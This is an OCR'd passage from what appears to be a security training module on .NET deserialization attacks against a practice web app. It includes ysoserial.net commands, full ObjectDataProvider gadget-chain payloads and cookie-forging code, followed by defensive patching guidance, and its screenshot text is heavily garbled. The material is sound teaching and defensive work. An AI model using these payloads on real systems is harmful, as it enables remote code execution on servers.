C:\htb> .\ysoserial.exe -f Json.Net -g ObjectDataProvider -c "notepad"
-0 Raw

Running the command, the output we get looks very similar to the payload we developed
manually:

"$type':'System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,


https://github.com/pwntester/ysoserial.net
https://github.com/pwntester
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
https://github.com/pwntester/ysoserial.net/releases
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PublicKeyToken=31bf3856ad364e35",
'MethodName': 'Start',
'"MethodParameters':{
"$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values':['cmd', '/c notepad']
},
'ObjectInstance’':{'$type':'System.Diagnostics.Process, System,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}

}

If we copy-paste the payload it gave us into the TTREMEMBER cookie and log out of
TeeTrove, then we see that a notepad.exe process is spawned as expected.

Login to TeeTrove

Username
0 Process Explorer - Sysinternals: www.sysinternals.com [DESKTOR-IVDRUA M bill] (Administrstor) - o x
File QOptions View Process Find Users Help
Password Hicomt:|eX| & L’\/\ | l—‘ | ‘ M | [ <Filter by name> |
Process CPU|  Frivale Bytes | Woing Set| PID| Descrption | Company Name | -
[ svchost exe 552K 15168 K 2380 Host Process for Windows 5. Micosoft Comoration
[ svchost exe 2084 K 12,884 K 2400 Host Process for Windows 5. Microsoft Comoration
fhspooisv.exe 5548 K 17424 K 2548 Spooler SubSystem App Wicrosoft Comoration
[ svchost exe 5,180K 18232 K 2604 Host Process for Windows 5. Microsoft Comoration
Bemienbeing [ svchost exe 204K B503K 2628 Host Process for Windows S Microsoft Comporation
[E)svchost exe 3356 K 11.100K 2820 Host Process for Windows 5... Microsoft Corporation
m [E)svchost exe 3380K 13876 K 2828 Host Process for Windows ... Microsoft Corporation
= [ eudanacsve.exe 13.080K 34752K 2344 Bamacuda Netwark Access ... Bamacuda Networks, Inc.
[ nacusercix exe 3824K 14348 K 4128 Baracuda Network Access ... Bamacuda Networks, Inc.
© 2023 - TeeTrove - Privacy [Enacven exe <001 40076 K 7105 K 4188 Bamacuda Netwark Access ... Bamacuda Networks, Inc.
— =& svehost exe 1588 K 7.324K 235 Host Process for Windows S... Micrasoft Corporation
[)dasHost exe 242K 8.55 K 2728 Device Association Framewa... Microsoft Corporation
[)dasHost exe 1.082K 4344 K 1260 Device Association Framewa... Microsoft Corporation
[&)svchost exe 15212K 31116 K 2368 Host Process for Windows S... Microsoft Corporation
[E)svchost exe 14.032K 23,334 K 2338 Host Process for Windows S... Microsoft Corporation
[E)svchost exe 11.112K 20432K 2908 Host Process for Windows S... Microsoft Corporation
[ salwriter.exe 1.832K 3.203K 3024 SQL Server VSS Witer - 64 Bit Microsoft Corporation
[&)svehost.exe 1272K 5504 K 3036 Host Process for Windows S... Microsoft Corporation
=[Esvehest exe 4560 K 12404 K 3044 Host Process for Windows 5... Microsoft Corporation
oEE 984 115 Worker Process Microsoft Corporation
¢ D Debugger P Network {} StyleEditor (D Performance £ Memory [ Storage 4284K 4363K 6208 Windows Command Processor Microsoft Corporation
gl conhost sxd <001 BA%K 12848 K 1328 Console Window Host Wicrosoft Comoration
v tems “notepad exd <001 234K 11264K 6116 Hotepad Wicrosoft Comoration
i MeWpEng =xe <001 PNEEZK 2278M4K 3052
Hame el [i|svehost exe 2348K 9448K 3060 Host Process for Windows S... Microsoft Comoration E
- TTREME... [{Stype: System Windows Data.ObjedDataProvider, Presentationframework, Version=2.04] [g2wims.sxe TI2K 3688 K 2144 Windows Licenss Monitoring . Microsoft Comoration 2
[ svchost exe 4380K 20,124 K 2216 Host Process for Windows S Microsoft Comporation
[ svchost exe 281K 11,044 K 3164 Host Process for Windows 5. Microsoft Comoration
[ svchost sxe 1272K 5.71BK 3195 Host Process for Windows S Microsoft Comporation .
CPU Usage: 0.00%  Commit Charge: 35.16% Processes; 143 Physical Usage: 39.13%

Example 2: XML, Tee Import Feature

Let's look at how we could use YSoSerial.NET to generate a payload for the second
vulnerability; the Tee Import feature which took a serialized XML string as input to

XmlSerializer.

The command remains the same, changing only the selected formatter from Json.Net to

XmlSerializer:

C:\htb> .\ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c
"notepad" -0 Raw

The output YSoSerial .NET gives us is similar to the payload we developed with the main
difference being the XAML string passed to XamlReader.Parse is wrapped inside a
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ResourceDictionary whereas our payload passed a string:

<?xml version="1.0"7>
<root
type="System.Data.Services.Internal.ExpandedWrapper 2[[System.Windows.Mark
up.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35], [System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-
instance" xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
xsi:type="xsd:string">
<! [CDATA[<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-
namespace:System;assembly=mscorlib" xmbas,:c="clr-
namespace:System.Diagnostics;assembly=system"><0bjectDataProvider d:Key=""
ObjectType="{d:Type c:Process}"4MéthodName="Start">
<ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c
notepad</b:String></0bjectDataProvider.MethodParameters>
</0bjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></0ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

This time, however, we can't just copy-paste the payload. If you remember from a previous
section, the type needed to be specified, and the ExpandedWrapper0fXaml<SNIP> node
needed to be renamed to Tee . Once we make the changes, the payload does work as
intended, resulting in a notepad.exe process spawning, but this highlights the importance
of understanding how the attack works so that we can adapt payloads to work in the specific
scenarios we come across:



Import Tee from XML

<Tee ymlns:xsi="htte://www.w3.0rg/2001/XMLSchemacinstance” xmins:xsd="htto://mamw.w3.0ra/2001/XMLSchema” >
<ExpandedElement/> 2 Process Bxplorer - Sysinternals: wwnw.sysinternals.com [DESKTOP-IVDRUARbll] (Administrator) - o X
<ProjectedProperty0= File Options View Process Find Users Help
- [ -
<MethedMame > Parse </MethodName > HIcom:|&X| & L ‘ |-—»—~l ‘ | { ‘ [ <Fitter by name> |
<MethodParameters> Process CPUl Private B)'tesl Working Setl PID ‘ Description ‘Company Name ‘ ~
- svchost exe 3,008 K 8,296 K 2252 Host Process for Windows S... Microsoft Comparation
<anyTvRe ¥mingxsi="http://www.w3.0rg/2001/XM %svdmsl exe 1532 K 6600K 2260 Host Process for Windows S... Microsoft Comoration
(![CDATA[<ResourceDictionam )(mlns:"h‘ttp:,ffs [#=]svchost exe 2176 K §.756 K 2268 Host Process for Windows S... Microsoft Comporation
. " ” - _ | [Elsvchost.exe 6556 K 15,168 K 2380 Host Process for Windows ... Microsoft Corperation
sming:b="glr-namespace:System;assembly=mscorlib” xming: [iJsvchost exe 2044 K 12384 K 2400 Host Process for Windows S... Microsoft Corporation
c:Process}" MethodName="Start" > <QbjectDataProvider.Vet| =hspoclsv.exe 5648 K 17424 K 2548 Spooler SubSystem App Microsoft Comaration
. - . [#Z]svehost exe 9156 K 18,200 K 2604 Host Process for Windows 5... Microsaoft Corporation v
</QbjectDataProvider.MethodParameters=> <,.’Qubl§_;‘,t_'|‘3,§vt'a‘£[g [w]svchost exe 2024 K 8508 K 2628 Host Process for Windows S... Microsoft Comporation 4
- = [mE|svehost exe 3956 K 11,104 K 2820 Host Process for Windows S... Microsoft Comporation £
|rc ken=b77a5c561934e089 [isvchost exe 4343K 14296 K 2828 Host Process for Windows S... Microsoft Comoration
= [#-]cudanacsve exe 13.024K 31380 K 2844 Bamacuda Network Access ... Baracuda Networks, Inc.
[#E]nacuserct: exe 3824 K 14,924 K 4128 Baracuda Network Access ... Bamacuda Networks, Inc.
m ﬂnacvpn exe <001 40,160 K 71148 K 4188 Baracuda Network Access ... Baracuda Networks, Inc
= [z]svchost .exe 1592 K 7.328 K 2856 Host Process for Windows S... Microsoft Comoration
[#=]dasHost exe 2464 K 8588K 2728 Device Association Framewo... Microsoft Comporation
© 2023 - TeeTrove - Privacy [5=]dasHost exe 1088 K 4944 K 1260 Device Association Framewo ... Microsoft Corporation
[mE|svchost exe 15616 K 33,156 K 2868 Host Process for Windows S... Microsoft Corpaoration
[#=]svehost exe 21656 K 31,008K 2888 Host Process for Windows 5... Microsoft Corporation
[w]svchost exe 10520 K 20412K 2508 Host Process for Windows 5... Microsoft Corporation
[]sqlwriter.exe 1.832K 8,208 K 3024 SQL Server VSS Writer - 64 Bit Microsoft Comoration
J Network  {} Style Editor () Performance 4% Memory [ Storage § [Esvohostexe 1272K 5304 K 3036 Host Process for Windows S... Microsoft Comoration
= [a:]svchost exe 4640K 12352 K 3044 Host Process for Windows 5... Microsoft Corporation ]
139,124 K 7176 IIS Worker Process Microsoft Corporation B &1
[ gl cmd exe 2224K 4340K 7604 Windows Command Processor Microsoft Comporation e A L
New"sCreate New Tee/a> conhm.ae <001 6,532K 12924 K 7256 Console Window Host Microsoft Corporation
. <001 2043K 11204 K 3076 Notepad Microsoft Corporation 3 S
: i | MsMpEng.exe 0.25 266,540 K 185124 K 3082 W
— [mE|svehost exe 2408K 9480 K 3060 Host Process for Windows S... Microsoft Comparation -G
=] wims exe 72K 3688K 2144 Windows License Monitoring .. Microsaft Comporation w
———et e PRI ANATA L AR et P e Fe BB deein £ Ao B e et C
DUt"> (=) </1abel> CPUUsage: 0.51%  Commit Charge: 37.50% Processes: 146 Physical Usage: 40.44%
—"xml" placeholder="XML" style="height: 258px;"></textareas - B
—"TeeTrove.Models . Tea"> * -eaftar cchefare n £ hantetran res g2

Example 3: Binary, Authentication Cookie

For the last example, let's take a look at using YSoSerial.NET to exploit the authentication
cookie, which used BinaryFormatter for (de-)serialization.

Generating a payload for BinaryFormatter is as simple as running the following command:

C:\htb> .\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c
'notepad' -0 baseb64

However, as you should expect, this payload will not work due to the cookie validation that
goes on before deserialization. Once again this payload will need to be modified to work with
TeeTrove, but this is not very difficult when we have the decompiled source code to aid us
in development:

private static readonly string AUTH COOKIE SECRET = "916344<SNIP>";

private static string

{

(string session b64)

<SNIP>

static void

{

(string[] args)

string ysoserial payload b64 = "AAEAAAD/////AQAAAAAAA<SNIP>";
string authCookieVal = ysoserial payload b64 + "." +
(ysoserial payload b64);

Console. (authCookieVal);
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With this short program to turn the YSoSerial.NET payload into a usable payload for

TeeTrove , exploitation works as expected, but once again this is an example of why it is

important to understand how to do things manually in case the automated tools can not do

exactly what we want.

TeeTrove MAHome

ONE IN A :
MINICN
[ |

Awesome dad
One in a Minion £16.49
e O Inspector Console [ Debugger T Network {2 Style Editor m Perform

E Cache Storage

E Cookies

@ nttp:ocalhost:3000

MName Value

TTAUTH
TTREME...

E Indexed DB {"Username”:"pentest’, Token™:"SEAEFIHPD7CLIM
E Local Storage

E Session Storage

#] Login

i R

T Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-IVDRUANbill] (Administratar)

File Options View Process Find Users Help

Hico mulex »o [ F [ —

|| Lok ]

<Filter

Process EFW| Fivate Byics || Working Sef| 1D | Desarpion | Company 1
[ svchost exe 2448 K 13,016 K 2420 Host Process for Windows S... Microsoft C
0 spoolsv exe 6,260 K 17148 K 2520 Spooler SubSystem App Microsoft C
[ svchost exe 9576 K 18,700 K 2556 Host Process for Windows S... Microsoft C
[ svchost exe 212K 8528K 2600 Host Process for Windows 5. Microsoft C
[ svchost exe 037 2836 K 10,464 K 2808 Host Process for Windows 5. Microsoft C
[m|svechost exe 4224 K 11,236 K 2816 Host Process for Windows 5. Microsoft C

= [a=)svchost exe 1840 K 7440K 2824 Host Process for Windows 5. Microsoft C

[m7|dasHost exe 2840 K 8788K 3128 Device Association Framewo .. Microsoft C
[mz|dasHost.exe 1228K 5024 K 3552 Device Association Framewo... Microsoft C
[@:]svehost exe 7532K 13804 K 2836 Host Process for Windows 5... Microsoft C
[@:]svehost exe <001 14676 K 30524 K 2848 Host Process for Windows 5... Microsoft C
[@:]svehost exe 10,188 K 19,696 K 2868 Host Process for Windows 5... Microsoft C
= [@E] cudanacsve exe 12788 K 23524 K 2876 Bamacuda Network Access ... Bamacuda
[@:] nacuserctx exe 3820K 14156 K 4128 Bamacuda Metwork Access ... Bamacuda
[ nacvpn exe <0.01 38952K 70,232K 4148 Bamacuda Network Access ... Bamacuda
[m:] sqlwriter.exe 2576 K 820K 2972 SQL Server WSS Writer - &4 Bit Microsoft C
[m:]svchost exe 2464 K 9.596 K 2980 Host Process for Windows S... Microsoft C
[m:]svchost exe 1328K 5.924K 3012 Host Process for Windows S... Microsoft C
£ [w=]svehost exe 4728 K 12328 K 3044 Host Process for Windows 5... Microsoft C
BlEoo <001 273K 12770K 10612 s WorkerPocess ——— Morosat g
= Bl cmd exe 4288 K 40K 320 Windows Command Processor Microscft C
[ conhost exe <0.01 6.580 K 12656 K 7252 Console Window Host Microsaft C
<001 2220K 11.224K 11272 Notepad Microscft C
i MsMpEng exe 812 284264 K 264392K 3064
[ wims exe 788 K 3712K 1880 Windows License Monitoring... Microsoft C
[®7|svchost exe 3708K 17,352 K 2740 Host Process for Windows S... Microsoft C
[ svchost exe 3356 K 11,224 K 2684 Host Process for Windows S... Microsoft C
[ svchost exe <0.01 1472K 5760 K 1544 Host Process for Windows 5. Microsoft C
B ' sppsvc.exe 8656 K 19.320K 3408

CPU Usage: 100.00% Commit Charge: 43.21% Processes: 158 Physical Usage: 49.

Preventing Deserialization Vulnerabilities

Introduction

With vulnerability assessment and exploit development covered, let's look at

deserialization from a defender/developers point of view, and discuss what can be

done to prevent deserialization vulnerabilities from occurring.

Guidelines

1. Avoid Deserializing User Input

The most effective way to prevent deserialization vulnerabilities from being exploited, is
to never deserialize user-input . If an attacker can not control the serialized input,
then no payload can be passed to the deserialization method.

2. Avoid Unnecessary Deserialization


af://h1-61
af://h2-62
af://h2-63
af://h4-64
af://h4-65

Sometimes it is not necessary to use serialization to store data. For example, the
"Remember Me" tokenin TeeTrove could have easily been a JWT or just plain JSON,
neither of which would have required deserialization.

3. Use Secure Serialization Mechanisms

Avoid using serialization mechanisms such as BinaryFormatter which are known to
have issues. For .NET, Microsoft recommends using the following serializers:

XmlSerializer for XML

DataContractSerializer for XML

BinaryReader and BinaryWriter for XML and JSON
System.Text.JSON for JSON

However, relying solely on these classes does not guarantee the total elimination of
deserialization vulnerabilities. For instance, the second vulnerability in TeeTrove involved
abusing XmlSerializer.

4. Use Explicit Types

Many serializers in .NET allow developers to specify explicit types during
deserialization, which prevents objects of other types from being parsed. For example,
with XmlSerializer an object type must be passed in the constructor. Unless the user can
control this type (like in TeeTrove ), it will not be possible to deserialize objects of any
other type.

XS = new (typeof( ));
p = (Person)xs. (..2)s

5. Use Signed Data

Cryptographically signing serialized data that users can modify is a robust defensive
mechanism to hinder exploitation. For example, the authentication cookie used by
TeeTrove was signed with a secret key, and if we did not have access to the source code,
we would not have been able to generate a valid cookie that would be deserialized.

When choosing an algorithm to sign the data, it is important to consider that some algorithms
are more secure than others. For example, a simple MD5 hash could be relatively simply
brute-forced.

6. Least Possible Privileges

Finally, running web servers while adhering to the Principle of Least Privileges (
PoLP ) is a recommended defensive security best practice. For an attacker exploiting a
deserialization vulnerability and landing a reverse shell on a web server, implementing PoLP


https://learn.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide#preferred-alternatives
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could mean the difference between causing limited damage (for example, leaking a
database) or a catastrophic one (compromising the entire Active Directory domain).

Patching Deserialization Vulnerabilities

Introduction

Now that we have discussed how to prevent deserialization vulnerabilities from
occuring, let's take a look at TeeTrove specifically and turn the theory into practice.

Example 1: JSON, Remember Me Cookie

Let's see how we can patch the "Remember Me" functionality, so that it is no longer
vulnerable to a deserialization attack. The two functions defined in RememberMeUtil
are createCookie and validateCookieAndReturnUser , which return HttpCookie and
CustomMembershipUser objects respectively.

public static ( user)
{
<SNIP>
}
public static (string
cookie)
{
<SNIP>
}

Right now, the serialized data looks like this:

{"Username":"pentest", "Token":"5EAEFIHPD7CLIMO05474HKZK54PL8ZZP" }

Firstly, this is not data that needs to be serialized, and secondly, there is nothing preventing
the user from tampering with the data. Let's address both of these issues by using a JSON
Web Token (JWT) instead, which does not require deserialization and contains a signature to
prevent tampering.

To create a JWT , we will need to install the Jwt.Net package with the NuGet Package
Manager .


https://github.com/jwt-dotnet/jwt
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Trove & X

Browse Installed A Updates /8

Report Abuse:  hitp
Tags:

With the package installed, we can modify the createCookie method like so (original code
is commented out). Here we are generating a JWT which contains the two claims (
Username and RememberToken ) and is signed with a secret key ( JWT SECRET ) to prevent
tampering.

private static readonly byte[] JIWT SECRET =

Encoding.UTF8. ("Gc#623Fq2343!7dE" )
<SNIP>
public static ( user)
{
string jwt = JwtBuilder. ()
(new ())

(JWT SECRET)
("Username", user.Username)
("RememberToken", user.RememberToken)
();

cookie = new (REMEMBER ME COOKIE NAME, jwt);
cookie.Secure = true;
cookie.HttpOnly = true;
cookie.Expires = DateTime.Now. (30);

return cookie;



Now when we log into the web application with the Remember Me checkbox selected, we can
see that the value of the TTREMEMBER cookie is a base64 -encoded string.

Teeq?mve A Home W' My Tees

ONE [N A
MINICN

©)

Hi, pentest [# Logout

ereative.

Awesome dad
One in a Minion Be Creative Sugababes
£€16.49
% O Inspector Console [ Debugger T4 Metwork  {} Style Editor () Perfarmance L Memory E Storage 'i' Accessibility 333 Application |jj ERE
B cache storage T F 4+ & Bl T Filtervalues
E Cookies Mame Value Domain Path Expires / Max-Age Size HitpOnly Secure  SameSite  Last Accessed w Data
@ https://localhost: 44384 TTAUTH ALEALAD///A.L,  localhost Session 363 true true Hone Mon, 16 Oct 2023.. ¥ TTREMEMBER:" eyl0eXAiQUKVTQL. USsTzfmyVCnl
[ indexed DB TTREME.. eyJ0eXAiDUKV... localhost Wed, 15Nov2023.. 189 true B L O Rl Created:sun, 15 0ct 202313:34:52 GMTY

@ https:/localhost- 44384
E Local Storage
E Session Storage

Domain:"localhost’

Expires / Max-Age:"Wed, 15 Nov 2023 09:44:52 €
HostOnly:true

HttpOnly:true

Last Accessed:"Mon, 16 Oct 2023 08:44:52 GMT”
Path:"/

SamesSite:"None”

Securestrue

Size:189

w Parsed Value

Copy-pasting the value into jwt.io, we can take a look at the stored data:

Encoded

eyJOeXA101JKV1QiLCJhbGci0iJIUZITN1J9. ey
JVe2VybmFtZSI6InB1lbnR1c3QilCJSZW11bWllc
1Rva2VuIjoiNUVBRUZJSFBENBNMSUBWMDUBNzRI
STpLNTRQTDhaWlAifQ.LouRsktCeU8BbwI3Eirxb
1Ead4fo85USsfzfmyVCnMu7s

Decoded

HEADER:
{
ryp: "JWT,
"alg": "HS256"
}
PAYLOAD:
{
"Username”: "pentest”,

"RememberTeoken™: "5SEAEFIHPD7CLIM@@5474HKZKS4PLBZZP"

1
I

VERIFY SIGNATURE

) [ secret base64 encoded

Regarding the validateCookieAndReturnUser method, we can make the following
changes to decode the JWT instead of the original deserialization. Notice the call to
MustVerifySignature, which ensures a valid signature before decoding anything.


https://jwt.io/

public static (string Copy
cookie)

{
try
{
<string, object> claims = JwtBuilder. ()
(new ())
(JWT SECRET)
()
< <string, object>>(cookie);
User =
(CustomMembershipUser)Membership. (claims["Username"]. (),
false);
return (User.RememberToken. (claims["Token"]. ())) 2
User : null;
}
catch ( )
{
return null;
}
}

With these few simple changes, the "Remember Me" feature is no longer vulnerable to

deserialization attacks.

Example 2: XML, Tee Import Feature

Now let's shift our attention to the Tee import feature. In this case, XmlSerializer was
used which is not necessarily a problem. If you remember from the previous section, this
serializer is actually recommended as a secure option by Microsoft. The only issue in
TeeTrove was that the Type which is passed to the constructor is controllable by the user.
If we simply hardcode this value then exploiting this deserialization will no longer be

possible.
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dateInput(
ctio 1t Import()

xml = Request.Form[
type = Request.Form["type

if (!'xml.IsEmpty())

alizer xs = XmlSerializeri e.GetType(type), X tAttribute("Tee"));

(Tee)xs.Deserialize( XmlTe> J String der(xml)));

xt dataContext =

dataContext.Tee.Add( Tee()

{
Userld = tee.Userld,
Title = tee.Title,
ImagePath = "/Content/Img/
Price = tee.Price

I ¥

dataContext.SaveChanges();

}

return RedirectToAction("Index", "Home");

}

return RedirectToAction("Index", "Tees");

In Controllers.TeeController we can make the following change:

<SNIP>

string xml = Request.Form["xml"];

if (!'xml. ()
{
XS = new (typeof( ), new
("Tee"));
try
{
<SNIP>

And in Views\Tees\Index.cshtml we can remove this line since it is no longer necessary,
and there is no reason to unecessarily disclose information about the structure of the project:



action="[{Url.Action("Import"”, "Tees")" method="POST"
class="mb-3"

for="xmlInput" class="form-label” Import Tee from XML
class="form-control" name="xml" placeholder="XML"

type="submit" class="btn btn-primary">Import

Now when we try to run the payload, the XML is deserialized into a Tee object and no
calculator or notepad is spawned. Of course the payload we provided was not a valid
Tee, so all properties are either 0 or null:

File  Edit it Project Build Debug Test ools xtensions | v H P Search - eeTrove-Patched

Tee ID - 2 e-@-0- B B

- [ Stack Frame: TeeTrove Patchec rs.TeesControl ~ _
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eelic - @gTeeTrove_Patched.Controllers.TeesController - [ Import{) -

Import Tee from XML /alidateInput( i

gt:&ltisd:Process.Startl = : i ult Import()

pNull}” Domain="" L
. xml = Request.Form["xml"];

= if (!xml.IsEmpty())
i

© 2023 - TeeTrove_Patchd

XmlSerializer( (Tee), XmlRootAttribute("Tee"));
{
Tee tee = (Tee)xs.Deserialize( X r( StringReader(xml)));
[{DataContext dataContext = new DataContext())ERTETir T

At alnntaut Tan AAAC
@ Mo issues found

P Search Depth: 3 1 1%g

Kml.Serialization.Xml5:

A 1d

/& ImagePath
5

ack Breskpoints Except

Although it is no longer possible to exploit this deserialization, itis a good idea to
further add input validation so that invalid objects are not imported.

Example 3: Binary, Authentication Cookie

Lastly, let's look at what we can do to patch the deserialization vulnerability regarding
the authentication cookie. Currently BinaryFormatter is used for serialization,
and we know that Microsoft recommends not using this at all, so let's use something else.

One good option would be to use a JWT again, since the information being stored does not
necessarily need to be serialized, but since we already have signing implemented we can
also just use XmlSerializer instead as a secure alternative.
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Inside Authentication.AuthCookieUtil we will need to make the following changes (old
lines commented out) so that XmlSerializer is used instead of BinaryFormatter, making
sure that the Session type is explicitly specified.

public static HttpCookie createSignedCookie(CustomMembershipUser user)
{

// Create and serialize session object

Session session = new Session(user.Id, user.Username, user.Email,
(DateTimeOffset)DateTime.Now) .ToUnixTimeMilliseconds());

//BinaryFormatter bf = new BinaryFormatter();

MemoryStream ms = new MemoryStream();

//bf.Serialize(ms, session);

XmlSerializer xs = new XmlSerializer(typeof(Session));

xs.Serialize(ms, session);

string session b64 = Convert.ToBase64String(ms.ToArray());

// Create MAC
var hash b64 = createSHA256HashB64(session b64);

// Combine
string authCookieVal = session b64 + "." + hash b64;

// Create cookie obj

HttpCookie authCookie = new
HttpCookie(AuthCookieUtil.AUTH COOKIE_NAME, authCookieVal);

authCookie.Secure = true;

authCookie.HttpOnly = true;

return authCookie;

Inside Global.asax.cs (decompiles as MvcApplication ), we need to update the
deserialization touse XmlSerializer again with the Session type specified:

<SNIP>

if (AuthCookieUtil.validateSignedCookie(authCookie.Value))
{
//BinaryFormatter bf = new BinaryFormatter();
XmlSerializer xs = new XmlSerializer(typeof(Session));
Session session = null;
try
{
MemoryStream ms = new
MemoryStream(Convert.FromBase64String(authCookie.Value.Split('."')[0]));
//session = (Session)bf.Deserialize(ms);
session = (Session)xs.Deserialize(ms);



<SNIP>

And then the last necessary change is adding a parameterless constructor to the
Models.Session class. This is just something that XmlSerializer requires, because when
it deserializes an object it creates an instance with this constructor and then updates the
properties one by one.

public 0 {1}

With all these changes in place, we can verify that the authentication system still works,
except now the serialized object is now XML :

{ DECODE > Decodes your data into the area below.

<Pxml version="1.0"7=
<Session xmins:xsd="http:/feww.w3.org2001XMLSchema” xmins xsi="http:/fwww. w3 org/2001/XMLSchema-instance "=
<|d=2</ld=
<Username=pentest</Username
<Email=pentest@teetrove htb</Email=
<CreatedAt=1697449151723</CreatedAt=
</Session: [ TH/%)ABHZ2dblE C 2 BEE T

Obviously, the payload targetting BinaryFormatter will no longer work, but we also know
that a payload targeting XmlSerializer will not either, since the type is specified (as well as
the data being signed).

Skills Assessment

Cerealizer, a company specializing in producing custom cereals, has contracted you to
conduct a penetration test on their web application, focusing on deserialization
vulnerabilities.

As it is a whitebox penetration test, they have provided the deployment files for the
application (refer to the attached zip file below).

Their website may be accessed at http://SERVER-IP:8000 :
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Cerealiz

Cerealizer

Welcome to Cerealizer - Where Custom Cereal Dreams Come True!

At Cerealizer, we've reimagined breakfast with a simple yet brilliant concept: why settle for the same old,
mundane cereal when you can have a breakfast experience tailored specifically to your tastes? We are
not your average cereal company; we are the pioneers of the custom cereal movement. Imagine waking
up to a cereal that's not just delicious but perfectly tailored to your unique preferences. Whether you're a
fan of fruity, nutty, chocolatey, or even savory flavors, Cerealizer is here to make your cereal dreams

come true.

Our process is as simple as it is delightful. You start by selecting your cereal base, from classics like flakes
and puffs to wholesome granolas. Next, you dive into a world of possibilities as you pick from an
extensive range of nuts, dried fruits, seeds, and sweet or savory mix-ins. Don't forget to add your choice
of sweeteners or flavorings to create a cereal that's uniquely yours. We even offer a variety of dietary
options, including gluten-free, organic, and vegan ingredients, ensuring that your cereal fits your lifestyle.
With Cerealizer, you're in control, and every morning is an opportunity to savor a truly customized
breakfast. Join us on this flavorful adventure and redefine your breakfast routine with Cerealizer!

Adobe Stock | #256701493

2%
.

History

Founded in 2010 by the visionary breakfast enthusiast, Clara Oatsworth, Cerealizer was born out of a
deep passion for cereal and a desire to break free from the constraints of cenventional breakfast choices.
Clara, an ardent cereal aficionado, often found herself mixing and matching various cereals, fruits, and
nuts to create the perfect morning meal. One day, while experimenting in her humble kitchen, the idea
struck her like a lightning bolt: why not make customization the heart of breakfast? Clara's dream was to
revolutionize the way people started their day by offering them an opportunity to craft their own cereal
blend. a notion that was met with both skepticism and excitement.
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